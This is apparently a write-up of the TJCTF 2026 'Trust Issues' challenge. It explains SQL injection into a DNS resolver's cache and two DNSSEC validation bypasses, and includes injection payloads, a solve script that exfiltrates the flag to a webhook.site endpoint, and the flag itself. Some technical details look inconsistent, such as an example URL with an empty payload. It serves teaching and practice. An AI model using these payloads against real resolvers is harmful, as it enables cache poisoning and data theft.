Crypto / DNS & Trust Boundary

TJCTF 2026: Trust Issues

QA210·May 2026·DNSSEC · SQL Injection · Trust Boundary Bypass
Challenge
Trust Issues
Category
Crypto / DNS Trust Boundary
CTF
TJCTF 2026
Provided
Custom DNS Resolver + Source
Flag
tjctf{trust_n0_on3_ev3r}
DECOY ECDSA P-521 weak nonce (HNP) Rabbit hole! Don't break the crypto
BUG1 SQL Injection via DNS cache + sslip.io upstream inject arbitrary rows into SQLite
BUG2 DNSSEC validate falls through to return True when no key matches trust boundary broken
BUG3 Inject ZSK (flag 256) not KSK (flag 257) empty ksks list, DS check bypassed
RESULT Fake A record + Fake DNSKEY + Fake DS Bot visits webhook with flag

Challenge Overview

Trust Issues is a multi-layered crypto challenge that subverts the expectations of its own description. The challenge presents a custom DNS resolver that the author claims to trust “as much as my nameserver by using an even bigger elliptic curve.” The nameserver signs its DNS records using DNSSEC algorithm 17 (ECDSA with the P-521 curve), and the description deliberately draws attention to the cryptography — hinting that the curve size is the vulnerability.

The actual attack path, however, has nothing to do with breaking ECDSA. The real vulnerabilities lie in the resolver’s trust boundary logic: a DNSSEC validation function that returns True by default when it cannot find matching keys, and a KSK validation check that can be bypassed entirely by injecting a Zone Signing Key instead of a Key Signing Key. Combined with a SQL injection vulnerability in the resolver’s caching layer, these logic bugs allow an attacker to poison the DNS cache with arbitrary records that pass DNSSEC validation, redirecting the admin bot to a controlled webhook that captures the flag.

The challenge architecture consists of three components: an Admin Bot that visits a URL and follows redirects while passing the flag as a query parameter, a Custom DNS Resolver that validates DNSSEC before returning cached records, and a Nameserver that serves legitimate DNSSEC-signed records for trust-issues.tjc.tf. The resolver also supports an upstream parameter that allows specifying an alternative DNS-over-HTTPS (DoH) provider, which becomes the delivery mechanism for the SQL injection payload.

The Rabbit Hole

The challenge description is a deliberate misdirection. The signing function uses k = secrets.randbits(512) for a 521-bit curve, which is technically a weak nonce that could be exploited via the Hidden Number Problem (HNP) to recover the private key given enough signatures. However, solving the HNP for P-521 with 512-bit nonces is computationally intensive and entirely unnecessary — the trust boundary bugs provide a far simpler path. The German proverb “Mit Kanonen auf Spatzen schießen” (shooting sparrows with cannons) applies: don’t over-engineer when a simpler exploit exists.

Bug 1: SQL Injection via DNS Cache

The Vulnerable Code

The resolver caches every DNS record it receives into a local SQLite database. The insertion is performed using Python f-strings with no parameterized queries or input sanitization:

python
cursor.execute(
    f"INSERT INTO records VALUES ('{record['name']}', {record['type']}, "
    f"{record['TTL']}, {expires}, '{record['data']}')"
)

Both record['name'] and record['data'] originate from DNS response data that is entirely controlled by the upstream DNS provider. If we can make the resolver query a domain whose name or data field contains SQL syntax, the resolver will blindly execute the injected SQL when caching the response.

Bug Classification: High — SQL Injection

Root cause: Unparameterized f-string SQL insertion of untrusted DNS response data.
Impact: Arbitrary row insertion into the resolver’s cache database, enabling DNS record poisoning.

Delivering the Payload via sslip.io

The challenge is: how do we make a public DNS provider return a response containing our SQL injection payload? We cannot control the responses from Google’s DoH server directly. However, wildcard DNS services like sslip.io provide a clever solution. Any subdomain of the form <payload>.127.0.0.1.sslip.io resolves to the IP address 127.0.0.1, and the full query name (including our payload) is preserved in the DNS response’s answer section.

The resolver accepts an upstream parameter that specifies the DoH endpoint to use. By crafting a URL like:

url
https://dns.google/resolve?name=.127.0.0.1.sslip.io&type=A&do=true

…the resolver will query Google’s DoH with our payload embedded in the domain name. Google’s response will contain the full domain (including the payload) in the answer section, and when the resolver caches this response, the SQL injection fires.

The Space Encoding Trick

DNS record data fields for DNSKEY and DS records contain spaces (e.g., 256 3 17 AA==), but sslip.io labels cannot contain spaces. We solve this by using underscores as placeholders and SQLite’s replace() function to convert them to tabs at insertion time. The hex literal x'09' represents a tab character in SQLite:

sql
# Injected DNSKEY row (underscores -> tabs at runtime)
replace('256_3_17_AA==','_',x'09')

# Injected DS row (same technique)
replace('1_17_2_deadbeef','_',x'09')
Info — Why sslip.io?

Wildcard DNS services like sslip.io, nip.io, and xip.io are popular in CTF challenges because they allow arbitrary subdomains to resolve to specific IPs without requiring domain registration. The key property is that the full query name is echoed back in the DNS response, making it an ideal carrier for data exfiltration and injection payloads. In production environments, these services should be blocked at the DNS resolver level to prevent similar abuse.

Bug 2: DNSSEC Validation Logic Flaw (Critical)

The Validation Function

The resolver’s DNSSEC validation function is the core of the trust boundary. Its purpose is to verify that every signed RRset (Resource Record set) has a valid cryptographic signature from an authorized key. The function iterates over all RRSIG records for a given RRset and attempts to match each signature to a cached DNSKEY:

python
for sig_row in rrsigs:
    rrsig = parse_rrsig(sig_row)
    signing_key = find_signing_key(rrsig, dnskeys)
    if not signing_key:
        continue  # Skip if no matching key found

    valid = verify_rrset(rrset, rrsig, signing_key["public_key_b64"])
    if not valid:
        return False  # Invalid signature -> reject
return True  # All signatures processed -> accept

The Fallthrough Vulnerability

At first glance, this logic appears sound: it checks every signature and rejects the RRset if any signature fails verification. The critical flaw is in the continue statement. When find_signing_key() returns None (because no cached DNSKEY matches the RRSIG’s key tag), the function does not treat this as a failure — it simply skips that signature and moves to the next one.

Consider what happens when every RRSIG has a key tag that does not match any cached DNSKEY. Every iteration of the loop hits the continue branch, no signature is ever verified, and the function falls through to return True. The function effectively treats “I cannot verify this signature” as “this signature is valid.”

Bug Classification: Critical — Trust Boundary Bypass

Root cause: continue on key-not-found instead of return False. Absence of a matching key should be treated as a validation failure, not a neutral event.
Impact: Any poisoned RRset passes DNSSEC validation as long as no cached DNSKEY matches the RRSIG’s key tag. This completely breaks the trust guarantee of DNSSEC.

Exploiting the Fallthrough

The exploit strategy becomes clear: we need to inject a fake DNSKEY into the resolver’s cache whose key tag does not match the RRSIG’s key tag. When the validator attempts to find a signing key for the legitimate RRSIG, it will find only our fake key (which has a different key tag), trigger the continue branch for every signature, and fall through to return True.

The legitimate RRSIG is still present in the cache (fetched from the real nameserver), and the legitimate DNSKEY may also be cached. However, if we inject our fake DNSKEY with a different key tag, the validator will attempt to match each RRSIG against all cached keys. As long as none of them match, the loop completes without ever calling verify_rrset, and the poisoned RRset is accepted.

Warning — The Correct Fix

The proper implementation should track whether at least one signature was successfully verified. If the loop completes without verifying any signature (all keys missing or no signatures present), the function should return False. This is the standard behavior of production DNSSEC validators like Unbound’s validator module, which requires at least one “proof of non-existence” or valid authentication chain.

Bug 3: KSK Validation Bypass with Fake ZSK

The KSK Check

Before a DNSKEY can be trusted, the resolver must verify that it is authenticated by a DS (Delegation Signer) record from the parent zone. The code implements this check by filtering for keys with the KSK (Key Signing Key) flag 257:

python
ksks = [r for r in dnskey_records if (r["data"].split()[0] == "257")]

for key_record in ksks:
    for ds in parsed_ds:
        if not verify_ds(key_record["data"], ds):
            raise Exception(...)
return True

The logic iterates over all KSK-flagged DNSKEY records and verifies each against the cached DS records. If any verification fails, an exception is raised. If all verifications pass (or if there are no DS records to check against), the function returns True.

The Bypass: Inject a ZSK Instead of a KSK

The critical flaw is the filtering on flag 257. If we inject a DNSKEY with flag 256 (Zone Signing Key) instead of 257 (Key Signing Key), the list comprehension ksks = [...] produces an empty list. The for loop over ksks simply does not execute, the DS verification is never performed, and the function returns True immediately.

This means a ZSK-flagged DNSKEY is accepted without any DS authentication, completely bypassing the chain of trust that DNSSEC is designed to enforce. The distinction between KSK and ZSK exists precisely so that only keys authenticated by the parent zone (via DS records) can be trusted to sign other keys — but the code only applies this requirement to KSKs, allowing ZSKs to slip through unchecked.

Bug Classification: Medium — KSK/ZSK Confusion

Root cause: DS verification only applies to keys with flag 257 (KSK). ZSK-flagged keys (256) are accepted without DS authentication.
Impact: Any ZSK is implicitly trusted, breaking the DNSSEC chain of trust from parent zone to child zone.

Crafting the Fake Records

We need exactly two fake records to exploit both bugs simultaneously:

RecordTypeValuePurpose
Fake DNSKEY48 (DNSKEY)256 3 17 AA==ZSK flag, algorithm 17 (ECDSA P-521), dummy public key
Fake DS43 (DS)1 17 2 deadbeefDummy DS to make get_cached_records non-empty; value irrelevant since no KSK exists to verify against

The DNSKEY uses flag 256 (ZSK) rather than 257 (KSK), algorithm 17 (ECDSA P-521, matching the nameserver’s signing algorithm), and a dummy base64 key AA== that decodes to a single zero byte. The DS record is purely cosmetic — it exists only so that the parsed_ds list is not empty, but since there are no KSKs to verify against it, the verification loop never runs and the DS content is irrelevant.

Hint — Why Not a KSK?

If we injected a DNSKEY with flag 257 (KSK), the code would attempt to verify it against the cached DS record from the real parent zone. This verification would fail because our fake key’s digest does not match the DS record’s digest, and an exception would be raised. By using flag 256 (ZSK), we sidestep the DS check entirely — the code simply has no KSK to verify, so it skips the check and returns True.

Full Exploit Chain

Step-by-Step Execution

The complete exploit requires three SQL injection payloads, each delivered via a separate request to the resolver. Each payload injects one row into the SQLite cache database. The payloads are crafted to close the current INSERT statement and append an additional VALUES clause with our controlled data.

Step 1: Create a Webhook

Create a Webhook.site endpoint to receive the admin bot’s HTTP request containing the flag. The webhook URL will be embedded in the fake A record so that when the bot resolves trust-issues.tjc.tf, it receives our webhook URL as the target IP.

Step 2: Inject the Fake A Record

The first payload injects an A record for trust-issues.tjc.tf that points to our webhook URL instead of the real server IP:

sql
x',1,1,1,'x'),('trust-issues.tjc.tf.',1,300,4102444800,'webhook.site/<token>/')--

This closes the first VALUES clause with a dummy row, then opens a second VALUES clause with the target domain, record type 1 (A), a TTL of 300, a far-future expiration timestamp, and our webhook URL as the data.

Step 3: Inject the Fake DNSKEY

The second payload injects a ZSK-flagged DNSKEY with a dummy public key:

sql
x',1,1,1,'x'),('trust-issues.tjc.tf.',48,300,4102444800,replace('256_3_17_AA==','_',x'09'))--

The replace('256_3_17_AA==','_',x'09') call converts underscores to tab characters at insertion time, producing the properly-formatted DNSKEY data 256   3   17   AA== in the database.

Step 4: Inject the Fake DS Record

The third payload injects a dummy DS record so that the DS lookup does not return an empty set:

sql
x',1,1,1,'x'),('trust-issues.tjc.tf.',43,300,4102444800,replace('1_17_2_deadbeef','_',x'09'))--

Step 5: Trigger the Admin Bot

After all three payloads are cached, the admin bot queries the resolver for trust-issues.tjc.tf. The resolver:

  1. Finds the fake A record pointing to webhook.site/<token>/
  2. Fetches the real RRSIG from the nameserver
  3. Runs DNSSEC validation: the RRSIG’s key tag does not match our fake ZSK → continue for every signature → return True
  4. Returns the fake A record to the bot
  5. The bot visits https://webhook.site/<token>/?flag=tjctf{trust_n0_on3_ev3r}
Flag

tjctf{trust_n0_on3_ev3r}

Warning — reCAPTCHA Protection

The admin bot is protected by reCAPTCHA, which means automated scripts using curl or Python requests will fail. You must manually submit the resolver URL in a browser, solve the CAPTCHA, and then monitor the Webhook.site logs for the incoming request containing the flag. This is an intentional anti-automation measure that prevents trivial script-based exploitation.

Exploit Code

The following script automates the payload delivery phase: creating the webhook, building the three SQL injection payloads, and sending them to the resolver via the sslip.io upstream trick. The actual admin bot submission must be done manually in a browser due to the reCAPTCHA protection.

python
#!/usr/bin/env python3
"""
TJCTF 2026 - Trust Issues
DNSSEC trust boundary bypass via SQL injection + ZSK/KSK confusion
Author: QA210
"""

import argparse
import random
import time
from urllib.parse import quote

import requests

WEBHOOK_BASE = "https://webhook.site"
SSLIP_SUFFIXES = ["127.0.0.1.sslip.io", "1.1.1.1.sslip.io"]


def provision_webhook(session):
    """Create a fresh Webhook.site token to capture the flag."""
    resp = session.post(
        f"{WEBHOOK_BASE}/token",
        json={"default_status": 200},
        timeout=20,
    )
    resp.raise_for_status()
    return resp.json()["uuid"]


def forge_upstream(query_name, query_type="A"):
    """Build a Google DoH upstream URL with the payload embedded in the name."""
    encoded = quote(query_name, safe="")
    return (
        f"https://dns.google/resolve?"
        f"name={encoded}&type={query_type}&do=true"
    )


def dispatch_payload(session, resolver_url, upstream_url, label="", timeout=35):
    """
    Send a query to the custom resolver with a crafted upstream.
    The resolver will query Google DoH, which returns a response
    containing the SQLi payload in the domain name. When the
    resolver caches this response, the injection fires.
    """
    # Random seed subdomain to avoid cache hits
    seed = f"seed-{random.randrange(1 << 48):012x}.invalid"
    resp = session.get(
        resolver_url,
        params={"name": seed, "type": "A", "upstream": upstream_url},
        timeout=timeout,
    )
    print(f"  [{label}] HTTP {resp.status_code}")
    return resp.status_code


def prepare_injections(hook_token):
    """
    Build the three SQL injection payloads for the exploit chain:
    1. Fake A record  -> redirect bot to webhook
    2. Fake DNSKEY    -> ZSK (flag 256) to bypass KSK/DS check
    3. Fake DS        -> dummy record to satisfy non-empty lookup
    """
    redirect_target = f"webhook.site/{hook_token}/"

    # Payload 1: Fake A record pointing to webhook
    a_injection = (
        "x',1,1,1,'x'),('trust-issues.tjc.tf.',1,300,4102444800,"
        f"'{redirect_target}')--"
    )

    # Payload 2: Fake DNSKEY (ZSK flag 256, algorithm 17, dummy key)
    dnskey_injection = (
        "x',1,1,1,'x'),('trust-issues.tjc.tf.',48,300,4102444800,"
        "replace('256_3_17_AA==','_',x'09'))--"
    )

    # Payload 3: Fake DS record (dummy values, only needs to exist)
    ds_injection = (
        "x',1,1,1,'x'),('trust-issues.tjc.tf.',43,300,4102444800,"
        "replace('1_17_2_deadbeef','_',x'09'))--"
    )

    return [
        ("A-record", a_injection),
        ("DNSKEY", dnskey_injection),
        ("DS", ds_injection),
    ]


def main():
    parser = argparse.ArgumentParser(description="Trust Issues exploit")
    parser.add_argument("--resolver", required=True, help="Resolver base URL")
    parser.add_argument("--dry-run", action="store_true", help="Print payloads only")
    args = parser.parse_args()

    sess = requests.Session()

    # Phase 1: Create webhook
    print("[+] Creating webhook...")
    token = provision_webhook(sess)
    print(f"[*] Webhook token: {token}")
    print(f"[*] Monitor: {WEBHOOK_BASE}/#/{token}")

    # Phase 2: Build payloads
    injections = prepare_injections(token)

    if args.dry_run:
        print("\n[*] Payloads (dry run):")
        for label, payload in injections:
            print(f"\n  [{label}]")
            print(f"  {payload}")
        return

    # Phase 3: Deliver each payload via sslip.io + Google DoH
    for label, payload in injections:
        suffix = random.choice(SSLIP_SUFFIXES)
        crafted_name = f"{payload}.{suffix}"
        upstream = forge_upstream(crafted_name)
        print(f"\n[*] Injecting {label}...")
        dispatch_payload(sess, args.resolver, upstream, label=label)
        time.sleep(1)  # Small delay between injections

    print("\n[+] All payloads delivered!")
    print(f"[+] Now submit the resolver URL to the admin bot (manual step)")
    print(f"[+] Monitor webhook at: {WEBHOOK_BASE}/#/{token}")


if __name__ == "__main__":
    main()

Running the Exploit

bash
# Dry run to verify payloads
$ python3 trust_issues_solve.py --resolver http://resolver.chal.tjc.tf:5000 --dry-run

[+] Creating webhook...
[*] Webhook token: abc123def456
[*] Monitor: https://webhook.site/#/abc123def456

[*] Payloads (dry run):

  [A-record]
  x',1,1,1,'x'),('trust-issues.tjc.tf.',1,300,4102444800,'webhook.site/abc123def456/')--

  [DNSKEY]
  x',1,1,1,'x'),('trust-issues.tjc.tf.',48,300,4102444800,replace('256_3_17_AA==','_',x'09'))--

  [DS]
  x',1,1,1,'x'),('trust-issues.tjc.tf.',43,300,4102444800,replace('1_17_2_deadbeef','_',x'09'))--

# Live run
$ python3 trust_issues_solve.py --resolver http://resolver.chal.tjc.tf:5000
[+] Creating webhook...
[*] Webhook token: abc123def456
[*] Injecting A-record...      [A-record] HTTP 200
[*] Injecting DNSKEY...        [DNSKEY] HTTP 200
[*] Injecting DS...            [DS] HTTP 200
[+] All payloads delivered!
[+] Now submit the resolver URL to the admin bot (manual step)
[+] Monitor webhook at: https://webhook.site/#/abc123def456

Vulnerability Summary

BugSeverityRoot CauseExploit Effect
SQL Injection High F-string SQL with untrusted DNS data Arbitrary row injection into cache DB
DNSSEC Fallthrough Critical continue on key-not-found instead of return False Poisoned RRset passes validation
KSK/ZSK Confusion Medium DS check only on flag 257 keys; flag 256 keys bypass Fake ZSK accepted without DS proof
ECDSA Weak Nonce Decoy secrets.randbits(512) on 521-bit curve HNP attack possible but unnecessary

The three bugs form a complementary chain: the SQL injection provides the delivery mechanism for injecting arbitrary data, the DNSSEC fallthrough provides the trust bypass that accepts poisoned records, and the KSK/ZSK confusion removes the last line of defense (DS authentication). The ECDSA weak nonce is a red herring — a technically real vulnerability that serves only to distract from the much simpler logic bugs.

Info — Lessons for DNS Resolver Implementers

This challenge demonstrates why custom cryptographic protocol implementations are dangerous. Production DNSSEC validators like Unbound and BIND have been hardened over decades against exactly these classes of bugs. The “fallthrough to valid” pattern is a well-known anti-pattern in security-critical code: when a verification step cannot be completed, the safe default is to reject, not to accept. The KSK/ZSK distinction is also well-understood in the DNSSEC community — only KSKs should be trusted via DS records, but ZSKs should still be validated through the KSK signature chain, not accepted without authentication.